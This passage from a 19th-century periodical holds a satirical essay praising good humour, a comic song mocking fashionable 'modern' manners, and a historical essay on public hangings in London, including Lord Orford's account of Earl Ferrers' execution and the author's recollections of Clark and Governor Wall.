+quality to which everything in this life owes its power of pleasing."
+It is the one great source from which spring all those innumerable
+streams of enjoyment that intersect, and refresh, and beautify the
+social and moral world. It is, like Fame, "the spur that the clear
+spirit doth raise" above the fogs, and the damps, and the vapours that
+so often hang over and darken this sublunary scene. It is the grand
+moral alkali that completely neutralizes the corrosive acerbity of
+all this world's cares and sorrows. It is a pure heavenly sunshine
+illumining the chambers of the soul; a coal from heaven's own golden
+hearth, that warms into a congenial and ever-during glow all the best
+and kindliest emotions of our nature.
+
+How different, indeed, would be the condition of the world if a system
+of good humour were universally established! For what is it but the
+absence of good humour that is the cause of almost all the troubles of
+life? All the wars that have desolated the world spring from no other
+origin. Kings and rulers wanting good humour have fallen out, and whole
+nations have been set at loggerheads:
+
+    "Quicquid delirant reges plectuntur Achivi."
+
+Now, if good humour universally influenced the actions of men, there
+would be none of these things; war would be at an end. General Evans
+might then attend to his parliamentary duties. The "mailed Mars" might
+"on his altar sit," but it would not be "up to the ears in blood." He
+might lay by his lance, and commence smoking the calumet of peace.
+Again, we should have no need of that noisy, brawling, troublesome
+class of men yclept lawyers,--for it is plainly from the absence of
+good humour that all the litigation in the world takes its rise. The
+gentlemen of the long robe might then leave _silk gowns_ to their
+ladies, and transfer their pleading to some other court than a court
+of law. At all events, the world would be freed from their forensic
+displays, for men would be on such _good terms_ with each other that
+there would be no need of _law terms_ to set them right. And also,
+under a general system of good humour, we should be freed from all
+the turmoil and contention of politics. Tithes, and church-rates, and
+corporation bills, would no longer afford such scope for violent and
+angry declamation. Would not this be glorious? As for our physicians,
+they might shut up shop, for there is no such admirable conservative
+of the constitution as good humour,--it being generally admitted that
+all diseases take their rise from the prevalence of _bad_ humour in
+the blood. These disciples of Galen, then,--these knights of the
+lancet,--might become philosophers, and study physics instead of
+physic; or they might devote themselves to analyse the faculties of the
+mind, and thus, instead of physicians, become metaphysicians.
+
+But, indeed, the ramifications are so numerous, that it would not be
+easy to follow out and describe all the innumerable advantages that
+would result from the establishment of an universal system of good
+humour.
+
+And thus we are enabled at once to explain what the poets have meant by
+the Golden Age. It was plainly nothing else than the reign of universal
+good humour. The proof is quite obvious. Gold is the most excellent
+of metals,--good humour is the most excellent of the qualities of the
+mind; and therefore, the analogy being so striking, the poets at once
+styled this happy period the Golden Age. And hence it is evident that
+good humour is the only true philosopher's stone.
+
+    "This is the charm by sages often told,
+    Converting all it touches into gold.
+    Content can soothe, where'er by Fortune placed:
+    Can rear a garden in the desert waste."
+
+In this passage "content" is only another name for good humour. Cease,
+then, ye followers of the Hermetic art, cease toiling over your
+crucibles; good humour is the true moral alchemy that will really
+enrich and ameliorate mankind.
+
+This, then, is the reform bill which I intend to introduce as soon
+as I have the honour of a seat in the house; a bill for striking
+out, arranging, devising, and establishing some plan by which good
+humour may be reduced to a system; so that henceforward it will be the
+cardinal principle of life,--the rule by which all the actions of men
+shall be guided, regulated, and directed. Let me but pass this; and
+then, my country! thy happiness is secured. Let us hear no more about
+the ballot, and universal suffrage, and all those Utopian schemes of
+our modern speculators. Let us have no more hunting after a visionary
+political optimism; good humour is the only one thing necessary to
+bring all our civil institutions to a state of complete perfection.
+"Give me," said Archimedes, "a point in extra-mundane space, and I
+will remove the solid earth from its foundations." "Give me," say
+I, "good humour, and I will uproot all miseries, and contentions,
+and quarrellings from the world." Away with all the nostrums of our
+moralists and philosophers!--good humour is the one sole, infallible
+panacea for all the ills of life. Misfortunes may lower, and
+disappointments may assail; but still the mind of the good-humoured
+man, like a Delos emerging from the deep, rises buoyant above them all.
+Hurrah, then, for an eternal, cloudless, bright, jovial, unsubduable
+good humour! Let us have nothing but good humour! Let a cheerful smile
+be for ever playing upon the happy faces of our lovely wives; let our
+children be born in good humour, and in good humour let them grow up;
+let the girls be taught to smile with their mother's smile, and the
+boys after the manner of their father; and thus we shall be taking the
+best way to establish and consolidate one vast, wide, universal empire
+of love, happiness, and joy!
+
+
+
+
+SONG OF THE MODERN TIME.
+
+
+  Oh how the world has alter'd since some fifty years ago,
+  When coats and shoes would _really_ serve to keep out rain and snow;
+  But double soles and broadcloth,--oh, dear me! how very low
+  To talk of such old-fashion'd things, when every one must know
+  That we are well-bred gentlefolks all of the modern time!
+
+  We all meet now at midnight's hour, and form a glitt'ring throng,
+  Where lovely angels walk quadrilles, and ne'er do l'Eté wrong,
+  Where Eastern scents all fresh and sweet, from Rowland's, float along,
+  And the name of a good old country-dance would sound like a Chinese
+    gong
+  In the ears of well-bred gentlefolks all of the modern time!
+
+  Young ladies now of sage sixteen must give their friends a rout,
+  And teach the cook and housemaid how to "hand the things about;"
+  And they must pull Ma's bedstead down, and hurry, scout, and flout,
+  To have a fine refreshment-room, and lay a supper out
+  Like well-bred, dashing gentlefolks all of the modern time!
+
+  And beardless boys, all brag and noise, must do "the thing that's
+    right,"--
+  That is,--they'll drink champagne and punch, and keep it up all night;
+  They'll shout and swear, till, sallying forth at peep of morning's
+    light,
+  They knock down some old woman just to show how well they fight,
+  Like brave young English gentlemen all of the modern time!
+
+  At the good old hours of twelve and one our grandsires used to dine,
+  And quaff their horns of nut-brown ale, and eat roast-beef and chine;
+  But we must have our silver forks, ragouts, and foreign wine,
+  And not sit down till five or six if we mean to cut a shine,
+  Like dashing, well-bred gentlefolks all of the modern time!
+
+  Our daughters now at ten years old must learn to squall and strum,
+  And study shakes and quavers under Signor Fee-fo-fum;
+  They'll play concertos, sing bravuras, rattle, scream, and thrum,
+  Till you almost wish that you were deaf, and they, poor things! were
+    dumb;
+  But they must be like young gentlefolks all of the modern time!
+
+  Our sons must jabber Latin verbs, and talk of a Greek root,
+  Before they've left off pinafores, cakes, lollipops, and fruit;
+  They all have splendid talents that the desk and bar will suit,
+  Each darling boy would scorn to be "a low mechanic brute;"
+  They must be well-bred college youths all of the modern time!
+
+  But bills will come at Christmas-tide, alas, alack-a-day!
+  The creditors may call again, "Papa's not in the way;
+  "He's out of town; but, certainly, next week he'll call and pay;"
+  And then his name's in the Gazette! and this I mean to say
+  Oft winds up many gentlefolks all of the modern time!
+
+
+
+
+CAPITAL PUNISHMENTS IN LONDON EIGHTY YEARS AGO.
+
+EARL FERRERS.
+
+
+The sensation created in London by that which has now become no
+ordinary spectacle,--two public executions in the course of the
+last few months,--naturally leads the observant mind to contemplate
+the march of intellect in this great metropolis with respect to the
+shedding of human blood by judicial authority. It may be interesting to
+the general reader to lay before him the reflections thus suggested,
+together with some curious and minute descriptions of scenes witnessed
+within the last century.
+
+The practice of _Sus per Col_, as described in legal abbreviations,
+or hanging, is the only mode of putting to death ("pressing to death"
+excepted) known to the law of England for all felonies short of high
+or petty treason. In cases of conspiracy against the state, traitors
+of rank were indulged with the privilege of being beheaded; but meaner
+offenders, besides other inflictions, were to suffer on the gallows.
+This distinction necessarily caused the punishment to be regarded as
+very ungenteel, if an expression of levity may be allowed; and, in
+consequence, no respectable person, or, at any rate, only here and
+there one, would choose to be hanged. Earl Ferrers, who was convicted
+of the murder of his steward in the reign of George the Second,
+petitioned that he might die by the axe. This was refused. "He has
+done," said the old king, "de act of de bad man, and he shall die de
+death of de bad man." The feeling of the monarch was good, but it was
+rather odd that a king should seem to think the punishment of treason,
+called by judges "the highest crime known to the law," an ennobling
+indulgence which ought not to be extended to a simple murderer.
+
+One luxury, however, Lord Ferrers is reported to have secured for
+the last hour of his life,--a silken rope; but a more important
+deviation from the common mode, so far as abridgement of bodily pain
+is concerned, was made on that occasion, for then it was that what is
+now familiarly called the "drop" was first used. Till that period, to
+draw a cart from beneath the culprit, or to throw him from a ladder,
+by turning it round, after he had ascended to a certain height for the
+halter to be adjusted, had been the practice; but for the wretched peer
+a scaffold was prepared, part of the floor of which was raised eighteen
+inches above the rest, which, on the signal of death being given,
+became flat. The contrivance, however, did not very well succeed,
+according to the narrative left us by Lord Orford; which, from the
+remarkable circumstances it details of that memorable exit, and of the
+usages which then prevailed, is worth transcribing.
+
+The crime for which the nobleman suffered was a most cruel murder. He
+had been through life a very depraved character. It was doubted if this
+were the only homicide he had committed; he had separated from his
+wife, and ill-used his mistress. He, however, met his fate with great
+firmness. "On the last morning," says Lord Orford in a letter, "he
+dressed himself in his wedding clothes, and said he thought this, at
+least, as good an occasion for putting them on, as that for which they
+were first made." The account proceeds: "Even an awful procession of
+above two hours, with that mixture of pageantry, shame, and ignominy,
+nay, and of delay, could not dismount his resolution. He set out from
+the Tower at nine, amidst thousands of spectators. First went a string
+of constables; then one of the sheriffs, in his chariot and six, the
+horses dressed with ribands; next, Lord Ferrers, in his own landau
+and six, his coachman crying all the way,--guards at each side; the
+other sheriff's chariot followed empty, with a mourning coach and six,
+a hearse, and the Horse-guards. Observe, that the empty chariot was
+that of the other sheriff, who was in the coach with the prisoner, and
+who was Vaillant the French bookseller in the Strand. How (exclaims
+Lord Orford to his correspondent) will you decypher all these strange
+circumstances? A bookseller, in robes and in mourning, sitting as a
+magistrate by the side of the earl; and, in the evening, everybody
+going to Vaillant's shop to hear the particulars. I wrote to him,
+as he serves me, for the account; but he intends to print it. Lord
+Ferrers, at first, talked on indifferent matters; and, observing the
+prodigious confluence of people, (the blind was drawn up on his side,)
+he remarked, 'they never saw a lord hanged, and perhaps will never see
+another,' One of the dragoons was thrown, by his horse's leg entangling
+in the hind wheel: Lord Ferrers expressed much concern, and said, 'I
+hope there will be no death to-day but mine;' and was pleased when
+Vaillant told him the man was not hurt. Vaillant made excuses to him
+for performing the duties of his office in person. 'For that,' said
+the earl, 'I am much obliged to you: I feared the disagreeableness
+of the duty might make you depute your under-sheriff. As you are so
+good as to execute it yourself, I am persuaded the dreadful business
+will be conducted with more expedition.' The Chaplain of the Tower,
+who sat backwards, then thought it his turn to speak, and began to
+talk on religion; but Lord Ferrers received it impatiently. However,
+the chaplain persevered; and said, he wished to bring his lordship
+to some confession, or acknowledgment of contrition, for a crime so
+repugnant to the laws of God and man, and wished him to endeavour to do
+whatever could be done in so short a time. The earl replied, 'he had
+done everything he proposed to do, with regard to God and man; and, as
+to discourses on religion, you and I, sir,' said he to the clergyman,
+'shall probably not agree on that subject. The passage is very short;
+you will not have time to convince me, nor I to refute you; it cannot
+be ended before we arrive.' The clergyman still insisted, and urged
+that, at least, the world would expect some satisfaction. Lord Ferrers
+replied, with some impatience, 'Sir, what have I to do with the world?
+I am going to pay a forfeit life, which my country has thought proper
+to take from me; what do I care now what the world thinks of me? But,
+sir, since you do desire some confession, I will confess one thing to
+you; I do believe there is a God. As to modes of worship, we had better
+not talk on them. I always thought Lord Bolingbroke in the wrong to
+publish his notions on religion: I will not fall into the same error.'
+The chaplain, seeing that it was in vain to make any more attempts,
+contented himself with representing to him, that it would be expected
+from one of his calling, and that even decency required, that some
+prayer should be used on the scaffold, and asked his leave, at least,
+to repeat the Lord's Prayer there. Lord Ferrers replied, 'I always
+thought it a good prayer; you may use it if you please.'
+
+"While these speeches were passing, the procession was stopped by the
+crowd. The earl said he was dry, and wished for some wine-and-water.
+The sheriff said, he was sorry to be obliged to refuse him. By late
+regulations they were enjoined not to let prisoners drink on their
+way from the place of imprisonment to that of execution, as great
+indecencies had been formerly committed by the lower species of
+criminals getting drunk; 'and though,' said he, 'my lord, I might
+think myself excusable in overlooking this order, out of regard to a
+person of your lordship's rank, yet there is another reason, which I am
+sure will weigh with you,--your lordship is sensible of the greatness
+of the crowd: we must draw up to some tavern; the confluence would
+be so great, that it would delay the expedition which your lordship
+seems so much to desire.' He replied he was satisfied, adding, 'Then
+I must be content with this;' and he took some pigtail tobacco out of
+his pocket. As they went on, a letter was thrown into his coach; it
+was from his mistress, to tell him that it was impossible, from the
+crowd, for her to get round to the spot where he had appointed her
+to meet and take leave of him, but that she was in a hackney-coach
+of such a number. He begged Vaillant to order his officers to try to
+get the hackney-coach up to his. 'My lord,' said Vaillant, 'you have
+behaved so well hitherto, that I think it is pity to venture unmanning
+yourself,' He was struck, and was satisfied without seeing her. As they
+drew nigh, he said, 'I perceive we are almost arrived: it is time to
+do what little more I have to do; and then, taking out his watch, gave
+it to Vaillant, desiring him to accept it as a mark of his gratitude
+for his kind behaviour; adding, 'It is scarce worth your acceptance,
+but I have nothing else; it is a stopwatch, and a pretty accurate
+one.' He gave five guineas to the chaplain, and took out as much for
+the executioner. Then giving Vaillant a pocket-book, he begged him to
+deliver it to Mrs. Clifford, his mistress, with what it contained, and
+with his most tender regards; saying, 'The key of it is to the watch,
+but I am persuaded you are too much a gentleman to open it' He destined
+the remainder of the money in his purse to the same person, and with
+the same tender regards.
+
+"When they came to Tyburn, his coach was detained some minutes by the
+conflux of people; but, as soon as the door was opened, he stepped
+out readily, and mounted the scaffold. It was hung with black by the
+undertaker, and at the expense of his family. Under the gallows was a
+new-invented stage, to be struck from under him. He showed no kind of
+fear or discomposure, only just looking at the gallows with a slight
+motion of dissatisfaction. He said little, kneeled for a moment to
+the prayer, said 'Lord have mercy upon me, and forgive me my errors!'
+and immediately mounted the upper stage. He had come pinioned with
+a black sash, and was unwilling to have his hands tied, or his face
+covered, but was persuaded to both. When the rope was put round his
+neck, he turned pale, but recovered his countenance instantly; and was
+but seven minutes from leaving the coach, before the signal was given
+for striking the stage. As the machine was new, they were not ready at
+it: his toes touched it, and he suffered a little, having had time, by
+their bungling, to raise his cap; but the executioner pulled it down
+again, and they pulled his legs, so that he was soon out of pain, and
+quite dead in four minutes. He desired not to be stripped and exposed;
+and Vaillant promised him, though his outer clothes must be taken off,
+that his shirt should not. This decency ended with him: the sheriffs
+fell to eating and drinking on the scaffold, and helped up one of
+their friends to drink with them, while he was still hanging, which
+he did for above an hour, and then was conveyed back with the same
+pomp to Surgeons' Hall, to be dissected. The executioners fought for
+the rope; and the one who lost it, cried. The mob tore off the black
+cloth as relics; but the universal crowd behaved with great decency and
+admiration, as they well might, for sure no exit was ever made with
+more sensible resolution and with less ostentation."
+
+The contrivance above described has caused the cart to fall into
+general disuse on such occasions. The change, however, was not
+suddenly effected. For many years after the death of Lord Ferrers,
+the triangular gallows at Tyburn maintained its ground, and, on
+execution-days, the cart passed from Newgate up Giltspur-street, and
+through Smithfield to Cow-lane; Skinner-street had not then been built,
+and the crooked lane which turned down by St. Sepulchre's church, as
+well as Ozier-lane, did not offer sufficient width to admit of the
+cavalcade passing by either of them with convenience to Holborn-hill.
+
+For centuries the prevailing opinion had been, that executions ought
+to take place at a distance from the crowded part of the city.
+Anciently malefactors were put to death at _The Elms_ in Smithfield,
+or rather, between Smithfield and Turnmill-street. But when the houses
+had increased, so as to encroach on the space which had long been
+kept open there, it was thought expedient to carry those appointed
+to die, farther off; and a spot was fixed upon, which received the
+name of Tyburn, near the beginning of Tottenham-court-road.[41] When
+Holborn had been built up to St Giles's, a farther removal was deemed
+necessary, and these tragic scenes were carried from one end of
+Oxford-street to the other,--from the beginning of Tottenham-court-road
+to the Tyburn of the present day.
+
+But at length, in the reign of George the Third, it was judged better
+to abandon the parade so long kept up, and to execute the sentence of
+death in the immediate vicinity of Newgate. This alteration, though
+many reasons may be urged in its favour, was not universally approved.
+There were those who apprehended that, in a constitutional point
+of view, it was dangerous to abate the publicity which had so long
+attached to the consummation of the last severity of the law. Mr. Horne
+Tooke was of the number. To hang a felon at the door of his prison, he
+considered, "the next thing to putting him to death within the walls,"
+and directly approximating towards secret executions.
+
+By degrees, however, the public mind got perfectly reconciled to the
+change. Much expense and confusion were spared; and the idle were no
+longer indulged in a disgusting holiday, to witness a spectacle in but
+too many instances known to produce anything but the impression which
+might have been desired. The rabble went to the mournful scene as to a
+public entertainment. The procession to Tyburn, with the prayers and
+other ceremonies there, occupied a large portion of the day, which many
+of the spectators closed in dissipation, outrage, and robbery.
+
+Instead of carrying the condemned three miles, and executing the
+culprits from a cart, an apparatus was now erected close to Newgate;
+and the awful ceremony, no longer made the business of many hours, was
+regularly performed at eight o'clock in the morning, and every vestige
+of the deplorable scene put away between nine and ten. Some of the
+first executions witnessed at Newgate were most unlike those which
+have been seen of late years, even before the late king ascended the
+throne. Not fewer than eighteen or twenty persons were conducted to the
+scaffold on the same day; and the gallows originally set up in the Old
+Bailey was so contrived that three cross-beams could be used, and the
+sufferers were, by this contrivance, disposed in as many rows.
+
+By degrees these spectacles grew less frequent, and the numbers hurried
+into eternity on each occasion were fewer. The execution of five or six
+persons on one day became an uncommon sight, and seldom more than two
+or three suffered together.
+
+This comparatively small sacrifice of life did not make the Old Bailey
+less attractive on a hanging-day than Tyburn had formerly been, though
+the rabble were constantly dismissed shortly after the clock struck
+nine.
+
+About the beginning of the present century, a notorious highwayman of
+the name of Clark, with five other malefactors, submitted to the last
+severity of man together. I went before the day had dawned, and very
+shortly after the preparations had commenced, to the Old Bailey. The
+spectacle then presented was most picturesque; and to me, whatever
+it might be to others, most extraordinary. Wooden posts made in a
+triangular form with rails, and a rod of iron issuing from the tops to
+pass through holes prepared in strong bars of timber, which they were
+to sustain, were lying about in every direction. Lighted torches were
+carried by the workmen and their assistants, the bars being first laid
+along the ground, nearly on or over the spot where they were to be set
+up to keep off the crowd, while the preparations went forward for the
+work of death. The body of the drop had previously been brought out.
+This did not take to pieces, but was kept, as at present, standing in
+the yard attached to the prison; and, being placed on wheels, was--I
+might say is, as executions have not wholly ceased,--drawn out at a
+very early hour. It was curious to notice the interest, the levity, the
+indifference, which prevailed in the different groups drawn together
+as the awful hour approached, according to the various humours of the
+individuals who composed them. When the cross-beam of the gallows was
+raised to its place, it was gazed on with great eagerness. As each
+rail was fixed, to mark the boundary of the space to be kept clear, a
+mass of men and boys, with here and there a female, ranged themselves
+close to it. The constables were occasionally seen struggling through
+the human wall thus formed, and showing their authority--the staff
+of office, to prove their right to be there; a form by no means
+unnecessary, as many of them were only to be known by that sign, as in
+truth they were almost impostors, having only assumed the character
+in which they appeared, for the day, being engaged by the respectable
+tradesmen really serving the office, to save them the time that would
+be consumed, or to spare feelings that must be wounded, if they
+appeared _in propriâ personâ_.
+
+The scaffold was established at the Debtors'-door, in the widest part
+of the Old Bailey; and the bar which was placed as above described
+extended from the further side of the scaffold, to a few feet south of
+the governor's house. The steps leading to the Felons'-door were soon
+crowded; and several recesses and niches on that side of the prison
+were peopled from an early hour with living statues.
+
+Well do I remember the awe with which I heard the chimes of St.
+Sepulchre's church announce the lapse of another and another quarter
+of an hour, the calculations which were made of the exact number of
+minutes which the victims had yet to breathe, and the speculations as
+to the manner in which they were then engaged, and the deportment which
+they would assume in the closing scene.
+
+The appearance of the city marshals between seven and eight arranging
+the constables, announced that the time had nearly arrived. A humourist
+would have jested at the overacted dignity of the functionaries just
+named of that day. A Wellington disposing his ranks to meet the
+fiercest shock of the best warriors of France, could not have given
+a finer idea of the importance of command, than these civic heroes
+suggested while placing in Newgate order their crowd of clubmen.
+
+It had been usual to hang black cloth on the chains which ran along
+three sides of the scaffold. On the occasion now recalled this part
+of the ceremonial was not omitted. The black was duly paraded; but so
+beggarly a display in connexion with any public proceeding my _not_
+"young memory" cannot parallel. It had been so worn and torn, that such
+a collection of tatters, it might fairly be concluded, could hardly
+have been found in any part of his Majesty's dominions,--Rosemary-lane,
+perhaps, excepted. The idlers, who by this time had assembled in
+great force, and who--the majority of them at all events--evidently
+considered they had but to enjoy themselves, laughed immoderately,
+and indulged in all sorts of jokes on this Ragfair set-out; which,
+to confess the truth, as their streamers, shaped into all imaginable
+forms, fluttered in the wind,--bearing in mind the solemnity of the
+occasion, and the supposed object of the exposure of the sable shreds,
+namely, mourning,--was the perfection of burlesque.
+
+The hand of St. Sepulchre's clock was pointed at the quarter to eight.
+Fifteen minutes more, and the unhappy ones appointed to die were
+expected to ascend that platform from which they were to sink into
+eternity. The immense multitude extended far up Giltspur-street one
+way, and almost reached to Ludgate-hill in the opposite direction.
+In all the houses commanding a view of the gallows the windows were
+crowded; the ledges without the parapets and roofs were in like manner
+surmounted by numerous spectators.
+
+It would not be easy to describe the sensation created by the
+appearance of the very important actors who next came on the
+stage,--the executioners.
+
+"Here are Jade Ketch and his man!" was the exclamation of almost every
+individual in the crowd to his neighbour.
+
+There was something in the look of the men which really challenged
+attention. The principal, or "Jack Ketch himself," as he was called,
+was a tall, elderly personage. His costume presented a long blue
+frock-coat, a scarlet waistcoat, and his hose bound with red garters
+below the knee-buttons of his inexpressibles. He wore a flower in his
+coat, or carried one in his mouth. He surveyed the eagerly-staring
+populace, and sustained their gaze with an air of calm indifference,
+which, however, had nothing of startling effrontery about it. His
+assistant was a very different figure; he was a coarse-featured,
+pock-marked, short, thick-set man. All his motions indicated great
+vivacity; and, if a judgment might be formed from his exterior, he was
+proud and rejoiced to fill an office of such high distinction, and felt
+more satisfaction in reflecting on the conspicuous situation in which
+he was placed, than pity for the poor creatures who almost instantly
+were to be committed to his professional care. He generally wore
+dark clothes; but sometimes had a bit of his master's distinguishing
+finery,--a red waistcoat. He nimbly paced the scaffold on this
+occasion, and looked on the mob, as I fancied, with an air of mirth
+or exultation, and presently applied himself, with no bad taste, to
+tear down the miserable black rags which have been mentioned; and, I
+believe, since that day they have never reappeared, or anything of the
+kind in their place. This operation completed, he seemed to confer with
+the other hangman on the business before them. The tall steps necessary
+to enable them to attach the halters to the gallows they moved towards
+the end of the platform near the spot on which the first who came forth
+was to stand; and, everything now being ready, they composedly waited
+the coming of the sheriffs with their prisoners.
+
+The clock of St. Sepulchre's church struck eight; a murmur burst
+from the vast assemblage near it: and the solemn bell of St. Paul's
+cathedral a moment afterwards confirmed, so to speak, the announcement
+of the fatal hour. All was expectation. The executioners frequently
+looked towards the door from which those expected, were to advance, as
+if to ascertain if they were coming. There was something of excitement
+in their manner, and a silent indescribable movement among those within
+the enclosure, that told more distinctly than could speech, that the
+last scene was about to open.
+
+It was nearly ten minutes after eight when the heavy tone of the
+prison-bell was heard. Such a sound!--a knell of death sounded for
+the living, who were then in perfect health, but who were next minute
+to be consigned to the grave, is well calculated to thrill the most
+unfeeling. This usage always appeared to me to heighten the solemnity
+of the scene, and the misery of the convicts for whom it tolled. Yet
+the authorities deemed it a compliment, or honour, to the sufferer,
+too great to be conceded in every case. The murderer, for instance,
+was denied the privilege of hearing it. None but those condemned for
+the less heinous crimes of forgery, or other capital felony unattended
+with the spilling of human blood, were _favoured_ with the melancholy
+distinction.
+
+The signal for the bell, I believe, was given at the instant when the
+brief procession, from the room in which the prisoners were pinioned
+to the door from which they pass to the final scene of expiation,
+commenced. The sullen sound was but three or four times repeated when
+those immediately in front of the prison-entrance saw the white wand
+of the sheriff approach from within. An officer appeared ascending
+the ladder, and by his side a man whose solemn aspect indicated with
+sufficient clearness that he was one of the doomed. The next moment
+he had passed to the platform, and stood in presence of the gazing
+populace. When the wand, the insignia of office, was seen, the word was
+given "Hats off!" and the multitude on every side obeyed the mandate,
+and stood uncovered.
+
+The unfortunate man who appeared first of the six who were to surrender
+their lives on this day, was perfectly resigned to his deplorable fate.
+His eye was bright, his step was firm, and it was impossible for a
+human being in such circumstances to be more collected, or to deport
+himself with more propriety. If sorrow at leaving this world oppressed
+him, hope solaced him with the cheering prospect that it would be his,
+immediately, to enter on a better. He wore his hat,--such being the
+usage at that time,--which was removed by the executioners, and placed
+at one end of the scaffold; and then the clergyman made his appearance.
+With him the culprit conversed devoutly, but with cheerfulness. His
+cravat having been taken off, the old executioner elevated himself
+by the steps, put the fatal noose over the sufferer's head, on which
+the cap was immediately placed, and the end of the halter being then
+passed round the beam, was carefully tied. The chain and hook now
+introduced had not yet been adopted. The companions in woe and death
+of the unfortunate I have described, quickly followed. Clark was the
+third or fourth that appeared, and he had the weakness to distinguish
+himself by the idle bravado of throwing away his hat. To each of them
+the ordinary addressed a few words. The caps, which had been left up
+for some moments, were next drawn down over the whole face. A prayer
+was commenced; but, before it concluded, the minister passed a white
+handkerchief over his mouth. That was the fatal signal; the drop fell
+with a dismal noise, and the death-struggle ensued. It was then twenty
+minutes after eight, and in three or four minutes, all appearance of
+life had ceased. In the same instant that they were suspended the crowd
+began to withdraw, while those who had been at a distance pressed
+forward to gain a more distinct view of the appalling spectacle. A cry
+of horror burst from a portion of the multitude when the floor gave
+way; but the impression it made was singularly transient. In less than
+a quarter of an hour cool indifference was everywhere to be marked,
+and foolish levity and boisterous mirth succeeded to the awe and
+commiseration lately manifested.
+
+A year or two after this scene, the public mind was violently excited
+by the case of Governor Wall. This culprit, twenty years before,
+being then the king's representative at Goree, had caused a man to be
+flogged so severely that he died. He was present when the punishment
+was inflicted, and excited the floggers by calling to them, "Cut his
+liver out!" among other horrible expressions. The crime of whipping a
+man to death was well calculated to awaken public indignation; but it
+was not his guilt alone which caused the ferment then witnessed in the
+metropolis. The belief that, because he had been a governor, mercy was
+likely to be shown to him, which would be denied to another, probably
+sealed his doom, and proved a cruel aggravation of his wretched
+destiny. He was tried on a Wednesday, and ordered for execution on
+the Friday next following, but was respited till Monday. This was
+considered an indication that the sentence would not be carried
+into effect at all, although on the last-mentioned day a vast crowd
+assembled in the Old Bailey. A second respite had been granted; but
+this was not generally known, at least to the multitude congregated
+on the occasion. Great was the disappointment when the hour of seven
+struck, and no preparations for the execution were visible. Many
+clung to the expectation that it would yet take place; and several
+affirmed, untruly I believe, that the apparatus had often been brought
+out and erected after that hour. I mingled with some of the numerous
+groups, and listened to the discussions, which were carried on with
+great vivacity, on the subject of the crime, and probable fate of the
+criminal. Not till after eight was the idea totally abandoned that the
+raging thirst of the infuriated populace for his blood would not then
+be gratified. It was between eight and nine that I had an opportunity
+of speaking with Mr. Newman, the governor of Newgate, and learned from
+him that further time had been granted, and that Wall was to suffer on
+the coming Thursday.
+
+The mob separated with bitter execrations; and the belief that a
+murderer, whose guilt was of the blackest dye, would escape punishment
+because he had powerful friends, gained ground throughout the nation.
+If horror had previously been inspired by his crime, to that personal
+and political rancour were now added, and the public mind was in a
+state of violent exasperation. The Thursday arrived! and another crowd
+assembled in front of Newgate, but doubting much whether the spectacle
+so ardently desired would at last be offered to their longing eyes.
+Though the officers were at their posts, and the scaffold in its place,
+it was still insisted that the governor would escape the fate he
+merited. The most ridiculous stories were circulated of the influence
+exercised in his favour, and of the culpable resolution of those who
+were in power to prevent the administration of justice. These, however,
+were all confuted when the appointed hour arrived, and the miserable
+object of public indignation was brought out to suffer like a common
+offender.
+
+When Governor Wall heard his sentence pronounced on the Wednesday,
+with whatever dismay it filled him, he prepared to submit to it with
+resignation. He threw himself, when he had returned to the prison, on
+his wretched bed, and said he should not rise from it till the officers
+of justice came to lead him to his fate. The respites granted awakened
+in him a hope not before entertained, only to render the rigour of the
+law more dreadful, from the unsettled state of his mind up to the last
+moment.
+
+He was a remarkably fine man in appearance, standing more than six feet
+high. When he came on the scaffold, his figure served but to swell the
+exultation of the crowd. As he advanced, he was greeted with three loud
+huzzas. When these subsided, a thousand ferocious voices addressed
+to the executioners the language which the cruel governor was charged
+with having used while the victim of his severity was writhing under
+the lash. The furious exclamations were not lost on the criminal; he
+requested the executioners to perform their part as expeditiously as
+possible. The drop almost instantly fell, and the shouts of the mob
+were in that dreadful moment renewed. He struggled long, and it was
+supposed that his sufferings were greater than those of any other
+victim on whom the same sentence had been executed. When about to be
+turned off, Wall entreated that his legs might not be pulled. The
+wish was respected till his long-protracted agonies compelled the
+sheriff, in the humane performance of his duty, to order that it should
+be done in order to terminate his misery. After hanging an hour, he
+was cut down; and the remains were conveyed in a cart, attended by a
+joyful rabble, to a house in Castle-street, Saffron-hill, there to be
+anatomized.
+
+Subsequent to the period of which I have been speaking, an idea was
+entertained of recurring to the old mode of execution; at least it was
+revived on one occasion. A triangular gallows was made, and sockets
+were inserted in the road, opposite Green-arbour-court, to receive the
+supporting posts. On this, Anne Hurle, convicted of forgery, and a
+male culprit, were put to death, about thirty years ago. The criminals
+were brought out at the Felons'-door in a cart, and carried to the
+upper end of the Old Bailey. There, after the necessary preparations,
+the ordinary took his leave. The executioner urged the horse forward,
+and the vehicle was drawn from under the feet of the criminals. The
+motion caused them to swing backwards and forwards; but this was
+speedily stopped by the hangman, who leaped from the cart for the
+purpose. It appeared to the spectators that the victims suffered more
+than they would have done if executed from the drop. This was probably
+represented to the city authorities, for the latter method of carrying
+the law into effect was promptly restored.
+
+It was formerly the usage, when a crime of remarkable atrocity had
+been committed, to execute the offender near the scene of his guilt.
+The minds then exercised on these painful subjects judged that a
+salutary horror would be inspired by the example so afforded, and that
+localities once dangerous would thus be rendered comparatively secure.
+Those who were punished capitally for the riots of 1780 suffered in
+various parts of the town; and, in the year 1790, two incendiaries were
+hanged in Aldersgate-street, at the eastern end of Long-lane. Since
+that period there have been few executions in London except in front
+of Newgate. The last deviation from the regular course was in the case
+of a sailor named Cashman, who suffered death about the year 1817, in
+Skinner-street, opposite the house of a gunsmith whose shop he had been
+concerned in plundering. The gunsmith was anxious that this should not
+be; but his voice was overruled, and the criminal was carried in a cart
+to the scaffold. It was then, it should seem, supposed that an awful
+warning would be given to the dissolute in Skinner-street, which would
+be in a great measure lost if the executioner performed his work at a
+distance of some forty yards from the scene of depredation.
+
+Time, which alters everything, effected a remarkable change in this
+respect; and, however appalling the guilt of the condemned, it was at
+length presumed to be adequately visited by death in the Old Bailey.
+When the fiend-like Burkers were brought to justice, they were sent to
+their account at the usual place of execution. To mark horror for their
+crime, or to arrest its progress in the neighbourhood of Shoreditch, it
+was not thought necessary to erect the gallows in Nova Scotia Gardens.
+
+In the course of the rambling thoughts and recollections here brought
+together, it has been shown that various alterations have from time to
+time been made; and one, not the least remarkable, has recently been
+brought under public notice. Formerly it was usual for the recorder
+to report the cases of those sentenced at one Old Bailey sessions,
+to the king in council after the next ensuing sessions. It however
+not unfrequently happened that, through negligence, or perhaps from a
+feeling of commiseration for those to whom it must bring death, the
+report was postponed, till the cases of several sessions remained in
+arrear. In those days loud were the complaints on the subject of the
+evil consequences of the delay. The grand argument against it was, that
+the long interval which separated punishment from crime caused the
